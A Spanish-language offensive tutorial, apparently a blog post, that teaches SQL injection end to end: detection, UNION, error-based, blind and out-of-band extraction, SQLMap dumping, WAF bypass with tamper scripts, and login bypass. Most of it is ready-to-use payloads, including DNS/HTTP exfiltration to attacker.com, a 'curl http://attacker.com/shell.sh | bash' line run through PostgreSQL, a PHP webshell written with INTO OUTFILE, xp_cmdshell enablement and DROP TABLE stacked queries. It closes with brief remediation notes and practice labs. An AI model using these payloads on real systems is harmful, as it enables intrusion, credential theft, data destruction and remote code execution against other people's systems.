La inyección SQL lleva en el OWASP Top 10 desde que existe esa lista. En 2026 todavía rompe sistemas reales. Inputs mal saneados, codebases heredadas, configuraciones erróneas en ORMs — la superficie de ataque no ha desaparecido. Si acaso, el auge del código generado por IA ha introducido nuevas clases de vulnerabilidades de inyección.

Esta guía cubre todo: cómo funciona el SQLi, cómo detectarlo, cómo explotarlo en todas las categorías principales, cómo usar SQLMap como arma, y cómo bypassear WAFs cuando están en el camino.


¿Qué Es la Inyección SQL?

La inyección SQL ocurre cuando el input del usuario se incorpora a una consulta de base de datos sin la sanitización o parametrización adecuada. El input del atacante cambia la lógica de la consulta — extrayendo datos, saltándose autenticación o ejecutando comandos.

Ejemplo clásico:

-- Consulta de la aplicación
SELECT * FROM users WHERE username = '$input' AND password = '$pass';

-- Input del atacante: ' OR '1'='1
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';
-- Devuelve todos los usuarios. Autenticación bypasseada.

Este patrón — el input escapando los límites de la consulta — es el núcleo de todas las variantes de SQLi.


Reconocimiento: Encontrar Puntos de Inyección

Antes de lanzar payloads, mapea la superficie de ataque.

Dónde buscar:

  • Parámetros en URL: ?id=1, ?category=news, ?page=about
  • Campos en el cuerpo POST: formularios de login, cajas de búsqueda, formularios de registro
  • Cabeceras HTTP: User-Agent, X-Forwarded-For, Cookie, Referer
  • Cuerpo JSON/XML: APIs REST con input estructurado
  • Consultas GraphQL: inyección en variables, manipulación de queries

Detección manual:

Empieza con caracteres que rompen la sintaxis SQL:

'
''
`
')
"))
' OR '1'='1
' OR 1=1--
' AND 1=2--
1; SELECT SLEEP(5)--

Observa:

  • Mensajes de error — los errores de base de datos indican inyección (MySQL, MSSQL, Oracle, PostgreSQL tienen formatos de error distintos)
  • Output cambiado — filas adicionales, datos diferentes
  • Retrasos de tiempo — confirma inyección blind basada en tiempo
  • Páginas de error genéricas — puede indicar supresión de errores, no ausencia de SQLi

Detección basada en booleanos:

Dos peticiones que deberían comportarse igual:

?id=1' AND 1=1--    → respuesta normal (condición verdadera)
?id=1' AND 1=2--    → respuesta diferente (condición falsa)

Si las respuestas difieren — tienes SQLi basado en booleanos.


Categorías de SQLi

1. In-Band: Basado en UNION

La vía de explotación más directa. Inyectas un UNION SELECT para añadir filas al resultado de la consulta y verlas en la respuesta.

Paso 1: Determinar el número de columnas

-- ORDER BY hasta que falle
?id=1 ORDER BY 1--
?id=1 ORDER BY 2--
?id=1 ORDER BY 3--    ← error aquí = 2 columnas

O usando enumeración con NULL:

?id=1 UNION SELECT NULL--
?id=1 UNION SELECT NULL,NULL--
?id=1 UNION SELECT NULL,NULL,NULL--    ← sin error = 3 columnas

Paso 2: Encontrar columnas imprimibles

?id=1 UNION SELECT 'a',NULL,NULL--
?id=1 UNION SELECT NULL,'a',NULL--
?id=1 UNION SELECT NULL,NULL,'a'--

La columna que muestre a en la respuesta es donde inyectas.

Paso 3: Extraer datos (MySQL)

-- Versión de la base de datos
?id=0 UNION SELECT NULL,version(),NULL--

-- Base de datos actual
?id=0 UNION SELECT NULL,database(),NULL--

-- Listar bases de datos
?id=0 UNION SELECT NULL,schema_name,NULL FROM information_schema.schemata--

-- Listar tablas
?id=0 UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema='target_db'--

-- Listar columnas
?id=0 UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--

-- Extraer credenciales
?id=0 UNION SELECT NULL,concat(username,':',password),NULL FROM users--

Sintaxis por base de datos:

DBConsulta de versiónConcatenación
MySQLSELECT @@versionconcat(a,b)
MSSQLSELECT @@versiona+b
PostgreSQLSELECT version()a||b
OracleSELECT * FROM v$versiona||b
SQLiteSELECT sqlite_version()a||b

2. In-Band: Basado en Errores

Cuando la aplicación muestra errores de base de datos, puedes extraer datos a través de ellos.

MySQL — ExtractValue:

' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))--

MySQL — UpdateXML:

' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--

MSSQL — Error de Convert:

' AND 1=convert(int,(SELECT TOP 1 table_name FROM information_schema.tables))--

PostgreSQL — Error de Cast:

' AND cast((SELECT version()) as int)=1--

3. Blind: Basado en Booleanos

Sin datos en la respuesta — pero puedes inferir datos carácter por carácter basándote en condiciones verdaderas/falsas.

Concepto:

-- ¿El primer carácter del nombre de la base de datos es 'a'?
?id=1' AND SUBSTRING(database(),1,1)='a'--

Si la página responde normalmente → verdadero. Si es diferente → falso. Itera carácter por carácter.

Bucle de extracción de caracteres (lógica manual):

-- Posición 1 del nombre de la base de datos, comparación ASCII
?id=1' AND ASCII(SUBSTRING(database(),1,1))>90--
?id=1' AND ASCII(SUBSTRING(database(),1,1))>100--
?id=1' AND ASCII(SUBSTRING(database(),1,1))=115--    ← 's' = 115

Esto es tedioso manualmente. Usa SQLMap para automatizarlo (ver abajo).

PostgreSQL blind:

?id=1' AND SUBSTRING((SELECT current_database()),1,1)='s'--

MSSQL blind:

?id=1' AND SUBSTRING((SELECT DB_NAME()),1,1)='s'--

4. Blind: Basado en Tiempo

Sin diferencia en la respuesta — pero puedes provocar retrasos de tiempo para confirmar la inyección y extraer datos.

MySQL — SLEEP:

?id=1' AND SLEEP(5)--                          ← retraso de 5 segundos
?id=1' AND IF(1=1,SLEEP(5),0)--               ← retraso condicional
?id=1' AND IF(SUBSTRING(database(),1,1)='s',SLEEP(5),0)--  ← extracción de datos

MSSQL — WAITFOR:

?id=1'; WAITFOR DELAY '0:0:5'--
?id=1'; IF (SUBSTRING(DB_NAME(),1,1)='s') WAITFOR DELAY '0:0:5'--

PostgreSQL — pg_sleep:

?id=1'; SELECT pg_sleep(5)--
?id=1' AND (SELECT CASE WHEN SUBSTRING(current_database(),1,1)='s' THEN pg_sleep(5) ELSE pg_sleep(0) END) IS NOT NULL--

Oracle — DBMS_PIPE:

?id=1'; exec dbms_pipe.receive_message(('a'),5)--

5. Out-of-Band (OOB)

Cuando existe inyección blind pero la aplicación es demasiado lenta o inconsistente para la basada en tiempo, OOB exfiltra datos a través de DNS o HTTP.

MySQL — DNS via LOAD_FILE:

Requiere el privilegio FILE y que secure_file_priv sea permisivo.

?id=1' AND LOAD_FILE(concat('\\\\',database(),'.attacker.com\\x'))--

Observa tu servidor DNS (o usa Burp Collaborator/interactsh) para la consulta.

MSSQL — xp_dirtree:

?id=1'; exec master..xp_dirtree '\\attacker.com\x'--

Oracle — UTL_HTTP:

?id=1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--

Configuración práctica de OOB:

Usa interactsh (alternativa open source a Burp Collaborator):

# Ejecutar servidor interactsh
interactsh-server

# O usar la versión alojada via CLI
interactsh-client
# Obtén tu URL única: xxxx.oast.fun

SQLMap: El Arma de Automatización

SQLMap gestiona detección, explotación y extracción de datos automáticamente. Conócelo a fondo.

Instalación

# Kali/Parrot — ya viene instalado
sqlmap --version

# Desde el código fuente
git clone https://github.com/sqlmapproject/sqlmap
cd sqlmap && python3 sqlmap.py --version

Uso Básico

# Test sencillo de parámetro GET
sqlmap -u "https://objetivo.com/pagina?id=1"

# Petición POST
sqlmap -u "https://objetivo.com/login" --data="username=admin&password=test"

# Testear parámetro específico
sqlmap -u "https://objetivo.com/pagina?id=1&cat=2" -p id

# Desde fichero de petición guardado en Burp
sqlmap -r request.txt

Flags Esenciales

# Enumeración de bases de datos
sqlmap -u "https://objetivo.com/?id=1" --dbs         # listar bases de datos
sqlmap -u "https://objetivo.com/?id=1" -D target_db --tables    # listar tablas
sqlmap -u "https://objetivo.com/?id=1" -D target_db -T users --columns  # listar columnas
sqlmap -u "https://objetivo.com/?id=1" -D target_db -T users -C username,password --dump  # volcar datos

# Aumentar agresividad de detección
sqlmap -u "https://objetivo.com/?id=1" --level=5 --risk=3

# Especificar tipo de DB (acelera el proceso)
sqlmap -u "https://objetivo.com/?id=1" --dbms=mysql

# Intentar shell de OS (si hay stacked queries + privilegios de escritura)
sqlmap -u "https://objetivo.com/?id=1" --os-shell

# Leer ficheros
sqlmap -u "https://objetivo.com/?id=1" --file-read="/etc/passwd"

# Escribir ficheros (MySQL + privilegio FILE)
sqlmap -u "https://objetivo.com/?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

# Establecer cookies (sesiones autenticadas)
sqlmap -u "https://objetivo.com/?id=1" --cookie="PHPSESSID=abcdef123456"

# Cabeceras personalizadas
sqlmap -u "https://objetivo.com/?id=1" -H "X-Forwarded-For: 127.0.0.1"

# Bypass 403/rate limiting — aleatorizar user agent
sqlmap -u "https://objetivo.com/?id=1" --random-agent

# Hilos (más rápido)
sqlmap -u "https://objetivo.com/?id=1" --threads=10

# Output detallado (ver payloads)
sqlmap -u "https://objetivo.com/?id=1" -v 3

# Modo batch (sin prompts)
sqlmap -u "https://objetivo.com/?id=1" --batch

Testear Cabeceras HTTP

Algunos de los mejores puntos de inyección están en las cabeceras:

# Inyección en User-Agent
sqlmap -u "https://objetivo.com/" --level=3  # level 3+ testea cabeceras

# Inyección en Cookie  
sqlmap -u "https://objetivo.com/" --cookie="id=1*"  # * marca el punto de inyección

# X-Forwarded-For (inyección en logs)
sqlmap -u "https://objetivo.com/" -H "X-Forwarded-For: 1*"

APIs JSON/REST

# Cuerpo POST JSON
sqlmap -u "https://api.objetivo.com/users" \
  --data='{"id":"1","category":"news"}' \
  --headers="Content-Type: application/json"

# Parámetro de ruta REST (usar *)
sqlmap -u "https://objetivo.com/api/user/1*"

Detección y Bypass de WAF

Los Web Application Firewalls bloquean payloads obvios. Bypassearlos es una habilidad clave.

Detectar presencia de WAF

# wafw00f — identifica el vendor del WAF
pip install wafw00f
wafw00f https://objetivo.com

# Identificación de WAF con SQLMap
sqlmap -u "https://objetivo.com/?id=1" --identify-waf

Técnicas Principales de Bypass

1. Variación de mayúsculas/minúsculas:

' uNioN sElEcT null,null,null--
' UnIoN SeLeCt null,null,null--

2. Inserción de comentarios:

' UN/**/ION SEL/**/ECT null,null--
' UNION/*!32302*/SELECT null,null--

3. Codificación URL:

%27%20UNION%20SELECT%20null%2Cnull--
%27%20union%20select%20null%2Cnull--

4. Codificación URL doble:

%2527 → %27 → '
%2520 → %20 → espacio

5. Codificación Unicode/hex:

' /*!UNION*/ /*!SELECT*/ null,null--
0x53454c454354  -- hex para SELECT

6. Espacios en blanco alternativos:

-- Tab, salto de línea, retorno de carro en lugar de espacio
'%09UNION%0ASELECT%0Dnull,null--

7. Notación científica (MySQL):

1e0UNION SELECT null,null--

8. Comentarios en línea como separadores:

'/**/UNION/**/SELECT/**/null,null--

Scripts Tamper de SQLMap

SQLMap incluye scripts tamper específicamente para bypass de WAF:

# Tampers comunes
sqlmap -u "URL" --tamper=space2comment
sqlmap -u "URL" --tamper=randomcase
sqlmap -u "URL" --tamper=between
sqlmap -u "URL" --tamper=charencode        # Codificar todo en URL
sqlmap -u "URL" --tamper=chardoubleencode  # Doble codificación URL
sqlmap -u "URL" --tamper=base64encode
sqlmap -u "URL" --tamper=equaltolike       # = a LIKE
sqlmap -u "URL" --tamper=apostrophemask    # ' a codificación UTF-8
sqlmap -u "URL" --tamper=symboliclogical   # AND/OR a && y ||

# Combinar múltiples tampers
sqlmap -u "URL" --tamper=randomcase,space2comment,between

# Para ModSecurity específicamente
sqlmap -u "URL" --tamper=modsecurityversioned
sqlmap -u "URL" --tamper=modsecurityzeroversioned

# Listar todos los tampers disponibles
sqlmap --list-tampers

Consejos para Bypass de Cloudflare WAF

Cloudflare es el WAF más común que encuentran los red teamers:

  • Reduce la velocidad: --delay=2 entre peticiones para evitar rate limiting
  • Aleatorizor user agent: --random-agent
  • Prueba out-of-band: la exfiltración DNS frecuentemente bypasea la inspección de WAF basada en respuestas
  • Prueba desde múltiples IPs: los bloqueos basados en reglas suelen ser por IP
  • Usa transferencia chunked: algunos WAFs inspeccionan los cuerpos de manera diferente

Bypass de Autenticación via SQLi

Clásico pero que todavía se encuentra en aplicaciones legacy, dispositivos IoT y portales VPN:

-- Payloads para el campo username
admin'--
admin' #
admin'/*
' OR 1=1--
' OR 'x'='x
') OR ('1'='1
admin' AND 1=1--

-- Bypass de login basado en MD5
' UNION SELECT 1,'admin','5f4dcc3b5aa765d61d8327deb882cf99'--
-- (hash MD5 de 'password')

SQLi de Segundo Orden

El payload se almacena y luego se ejecuta cuando otra consulta lo usa. Común en:

  • Campos de perfil (nombre de usuario, bio, dirección)
  • Notas/comentarios almacenados en la DB
  • Flujos de restablecimiento de contraseña

Ejemplo: Registrarse con el nombre de usuario admin'--. Posteriormente, una función de cambio de contraseña consulta:

UPDATE users SET password='$nueva' WHERE username='$username';
-- Se convierte en:
UPDATE users SET password='hackeado' WHERE username='admin'--';

Detección: Almacena payloads de aspecto benigno en campos, luego activa la consulta secundaria (cambio de contraseña, vista de perfil, etc.) y observa errores o comportamiento inesperado.


Post-Explotación: Leer Ficheros y Subir Shell

Si tienes una cuenta con altos privilegios y acceso de escritura:

MySQL — Leer ficheros:

UNION SELECT LOAD_FILE('/etc/passwd'),NULL--
UNION SELECT LOAD_FILE('/var/www/html/config.php'),NULL--

MySQL — Escribir webshell:

UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--

MSSQL — Ejecución de comandos via xp_cmdshell:

'; EXEC xp_cmdshell 'whoami'--
-- Si está deshabilitado:
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--
'; EXEC xp_cmdshell 'whoami'--

PostgreSQL — COPY TO/FROM:

'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/shell.sh | bash'--

Stacked Queries

Múltiples sentencias SQL separadas por ;. Compatible con MSSQL, PostgreSQL, SQLite — no MySQL via mysqli_query() de PHP (pero MySQL via PDO a veces lo permite).

?id=1; DROP TABLE users--
?id=1; INSERT INTO admins VALUES('hacker','hackeado')--
?id=1; UPDATE users SET password='hackeado' WHERE username='admin'--

Las stacked queries abren vías de ejecución de comandos en MSSQL y PostgreSQL.


Automatización y Flujo de Trabajo

Flujo completo de reconocimiento a volcado:

# Paso 1: Identificar y confirmar
sqlmap -u "https://objetivo.com/?id=1" --batch --dbs

# Paso 2: Enumerar la DB objetivo
sqlmap -u "https://objetivo.com/?id=1" --batch -D app_db --tables

# Paso 3: Enfocarse en tablas de alto valor
sqlmap -u "https://objetivo.com/?id=1" --batch -D app_db -T users,admins,credentials --dump

# Paso 4: Si el WAF lo bloquea — añadir tampers
sqlmap -u "https://objetivo.com/?id=1" --batch --dbs \
  --tamper=randomcase,space2comment \
  --random-agent \
  --delay=1 \
  --level=5 --risk=2

Automatización para bug bounty:

# Encontrar parámetros con gf
echo "https://objetivo.com" | waybackurls | gf sqli | tee sqli_candidates.txt

# Pasar a SQLMap
sqlmap -m sqli_candidates.txt --batch --level=2 --risk=1 --dbs

Herramientas necesarias: waybackurls, gf (tomnomnom), sqlmap


Laboratorios de Práctica

El SQLi es una habilidad que requiere práctica hands-on. Las herramientas y la teoría solo llegan hasta cierto punto.

PlataformaCosteQué obtienes
PortSwigger Web Security AcademyGratuitoLos mejores labs de SQLi — cubre todas las técnicas
DVWAGratuitoAuto-alojado, amigable para principiantes
HackTheBox$14/mesMáquinas reales, muchas con SQLi
TryHackMeGratis/pagoSalas guiadas de SQLi

¿Quieres montar tu propio lab vulnerable? Lanza un VPS y despliega DVWA o bWAPP en Docker:

docker run -d -p 8080:80 vulnerables/web-dvwa

Vultr y DigitalOcean tienen instancias por $6/mes que funcionan perfectamente para esto:

Un VPS en la nube te da un entorno limpio y aislado que puedes destruir y reconstruir sin tocar tu red doméstica.


Notas Defensivas (para la redacción de informes)

Cuando encuentras SQLi y necesitas documentar la remediación:

  1. Consultas parametrizadas / prepared statements — la única solución real. No la sanitización de input, no el escaping.
  2. Uso de ORM — todavía necesita parametrización; el ORM no protege automáticamente contra toda inyección
  3. Mínimo privilegio — el usuario de DB no debería tener acceso a FILE, SUPER, o xp_cmdshell
  4. WAF como defensa en profundidad — no es un control primario; el bypass suele ser trivial
  5. Gestión de errores — nunca exponer errores de base de datos a los usuarios; registrar solo en el servidor
  6. Conciencia del segundo orden — los datos almacenados deben parametrizarse también en el momento de la lectura, no solo en la escritura

Cheat Sheet de Referencia Rápida

TécnicaMySQLMSSQLPostgreSQL
Versión@@version@@versionversion()
DB actualdatabase()DB_NAME()current_database()
Todas las DBsinformation_schema.schematasys.databasespg_database
SleepSLEEP(5)WAITFOR DELAY '0:0:5'pg_sleep(5)
Concatenarconcat(a,b)a+ba||b
Limitar 1 filaLIMIT 1TOP 1LIMIT 1
Comentario-- o #----

Conclusión

La inyección SQL es antigua. Y también es efectiva. Todo red teamer necesita ser capaz de detectar, explotar y encadenar SQLi manualmente — no solo apuntar SQLMap a una URL y esperar lo mejor.

Las técnicas aquí — extracción basada en UNION, blind booleano/tiempo, bypass de WAF con tampers, ejecución de stacked queries — son las que aparecen en compromisos reales. Conócelas.

Si quieres ir más lejos, el siguiente paso es la metodología de pentesting de aplicaciones web para el flujo de trabajo más amplio en el que encaja el SQLi.


¿Necesitas un informe de pentest profesional que comunique correctamente los hallazgos de SQLi a las partes interesadas? CipherWrite gestiona la redacción técnica para profesionales de seguridad — desde documentación de PoC hasta resúmenes ejecutivos.